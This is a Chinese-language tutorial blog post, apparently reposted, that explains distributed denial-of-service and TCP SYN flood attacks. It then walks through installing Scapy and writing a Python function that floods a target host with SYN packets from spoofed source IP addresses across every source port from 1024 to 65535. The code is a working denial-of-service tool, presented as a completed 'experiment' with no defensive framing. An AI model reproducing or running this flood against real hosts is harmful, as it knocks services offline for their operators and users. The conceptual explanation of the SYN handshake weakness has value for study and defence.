Python-scapy實現SYNDdos攻擊


分布式拒絕服務攻擊

分布式拒絕服務(DDoS:Distributed Denial of Service)攻擊指借助於客戶/服務器技術,將多個計算機聯合起來作為攻擊平台,對一個或多個目標發動DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鍾內激活成百上千次代理程序的運行.

SYN
同步序列編號( Synchronize Sequence Numbers)。是TCP/IP建立連接時使用的握手信號。在客戶機和 服務器之間建立正常的TCP網絡連接時,客戶機首先發出一個SYN消息,服務器使用SYN+ACK應答表示接收到了這個消息,最后客戶機再以 ACK消息響應。這樣在客戶機和服務器之間才能建立起可靠的TCP連接,數據才可以在客戶機和 服務器之間傳遞。
TCP連接的第一個包,非常小的一種 數據包。SYN 攻擊包括大量此類的包,由於這些包看上去來自實際不存在的站點,因此無法有效進行處理。每個機器的欺騙包都要花幾秒鍾進行嘗試方可放棄提供正常響應。
SYN 泛洪攻擊
SYN攻擊利用的是 TCP三次握手機制,攻擊端利用偽造的 IP地址向被攻擊端發出請求,而被攻擊端發出的響應 報文將永遠發送不到目的地,那么被攻擊端在等待關閉這個連接的過程中消耗了資源,如果有成千上萬的這種連接, 主機資源將被耗盡,從而達到攻擊的目的。

攻擊性質

在黑客攻擊事件中,SYN攻擊是最常見又最容易被利用的一種攻擊手法。
SYN攻擊屬於DDoS攻擊的一種,它利用 TCP協議缺陷,通過發送大量的半連接請求,耗費 CPU和內存資源。SYN攻擊除了能影響 主機外,還可以危害 路由器防火牆等網絡系統,事實上SYN攻擊並不管目標是什么系統,只要這些系統打開TCP服務就可以實施。 服務器接收到連接請求(syn= j),將此信息加入未連接隊列,並發送請求包給客戶(syn=k, ack=j+1),此時進入 SYN_RECV狀態。當服務器未收到客戶端的確認包時,重發請求包,一直到超時,才將此條目從未連接隊列刪除。配合IP欺騙,SYN攻擊能達到很好的效果,通常,客戶端在短時間內偽造大量不存在的IP地址,向服務器不斷地發送syn包,服務器回復確認包,並等待客戶的確認,由於源地址是不存在的,服務器需要不斷的重發直至超時,這些偽造的SYN包將長時間占用未連接隊列,正常的SYN請求被丟棄,目標系統運行緩慢,嚴重者引起網絡堵塞甚至系統癱瘓。

什么是SYN泛洪攻擊

TCP SYN 泛洪發生在OSI第四層,這種方式利用TCP協議的特性,就是 三次握手。攻擊者發送TCP SYN,SYN是TCP 三次握手中的第一個數據包,而當服務器返回ACK后,該攻擊者就不對其進行再確認,那這個TCP連接就處於 掛起狀態,也就是所謂的半連接狀態,服務器收不到再確認的話,還會重復發送ACK給攻擊者。這樣更加會浪費服務器的 資源。攻擊者就對服務器發送非常大量的這種TCP連接,由於每一個都沒法完成 三次握手,所以在服務器上,這些TCP連接會因為 掛起狀態而消耗CPU和內存,最后服務器可能 死機,就無法為正常用戶提供服務了。
 
python3版本的Scapy--Scapy3k來實現一個簡單的DDos。

  首先實現SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發送大量偽造的TCP連接請求,使被攻擊主機資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務器發送SYN報文之后就不再響應服務器回應的報文,由於服務器在處理TCP請求時,會在協議棧留一塊緩沖區來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報文,那么本次連接在協議棧中存儲的數據就會被丟棄。攻擊者如果利用這段時間發送了大量的連接請求,全部掛起在半連接狀態,這樣將不斷消耗服務器資源,直到拒接服務。

  Scapy是一個強大的交互式數據包處理程序,可以用來發送、嗅探、解析和偽造網絡數據包。首先需要安裝Scapy3k:
sudo pip3 install scapy-python3==0.18

構造一個簡單的數據包

pkt = IP(dst="192.168.0.100")

構建數據包並發送

代碼實現

現在我們要用Python以第三方庫的形式使用Scapy,使用方法和用交互式Shell的方式一樣,注意:使用前要先導Scapy的包:

from scapy.all import

之前我們已經構造過了SYN數據包,現在我們需要實現隨機偽造源IP地址、以及以不同的源端口向目標主機發送SYN數據包:

import random
from scapy.all import *

def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer 
        send(packet)

在代碼中我定義了srcList用於存放偽造的IP地址,之后定義了一個循環,作用是每次發送數據包源端口都改變,可以看到在構造TCP數據包的時候我們增加了一個參數sport,循環中改變的端口號就是給了sport這個參數。我們還調用random.randrange()函數來隨機從srcList中獲取一個偽造的IP地址。

至此我們本次實驗就完成了,雖然代碼非常少不過功能我們卻實現的比較理想,這主要是因為Python的語法本身非常簡潔,再加上Scapy封裝的也非常好,才會讓我們寫出即簡潔功能又強大的代碼。

DDoS攻擊

類似上面這個syn洪流,只是DDoS采用的是多個客戶端在服務器的命令下,一起像一個網站攻擊.

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM